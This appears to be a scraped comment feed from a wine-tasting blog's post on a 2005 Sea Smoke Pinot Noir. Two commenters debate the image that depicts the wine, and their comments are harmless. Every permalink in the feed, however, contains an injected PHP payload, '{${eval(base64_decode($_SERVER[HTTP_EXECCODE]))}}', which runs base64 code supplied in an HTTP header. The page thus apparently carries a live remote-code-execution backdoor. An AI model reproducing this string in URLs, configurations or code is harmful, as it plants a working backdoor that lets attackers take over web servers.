http://chateaupetrogasm.com/2007/08/06/2005-sea-smoke-pinot-noir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Wine Blog of Tasting Notes Through Images Fri, 10 Feb 2012 18:06:07 +0000 http://wordpress.org/?v=2.2.1 http://chateaupetrogasm.com/2007/08/06/2005-sea-smoke-pinot-noir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23 Andrew Stuart Sat, 11 Aug 2007 17:41:17 +0000 http://chateaupetrogasm.com/2007/08/06/2005-sea-smoke-pinot-noir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23 Very interesting. While I still stand by my image, I think yours certainly could work. You should consider becoming a certified resident! Very interesting. While I still stand by my image, I think yours certainly could work. You should consider becoming a certified resident!

]]> http://chateaupetrogasm.com/2007/08/06/2005-sea-smoke-pinot-noir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-22 Drew Fri, 10 Aug 2007 19:28:25 +0000 http://chateaupetrogasm.com/2007/08/06/2005-sea-smoke-pinot-noir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-22 I have tasted this very same wine, and must strongly argue for an augmentation of the depicted image. The brick wall should be coated in a raspberry reduction sauce, obscuring the wall, its mortar, and any other discernable traits. I have tasted this very same wine, and must strongly argue for an augmentation of the depicted image. The brick wall should be coated in a raspberry reduction sauce, obscuring the wall, its mortar, and any other discernable traits.

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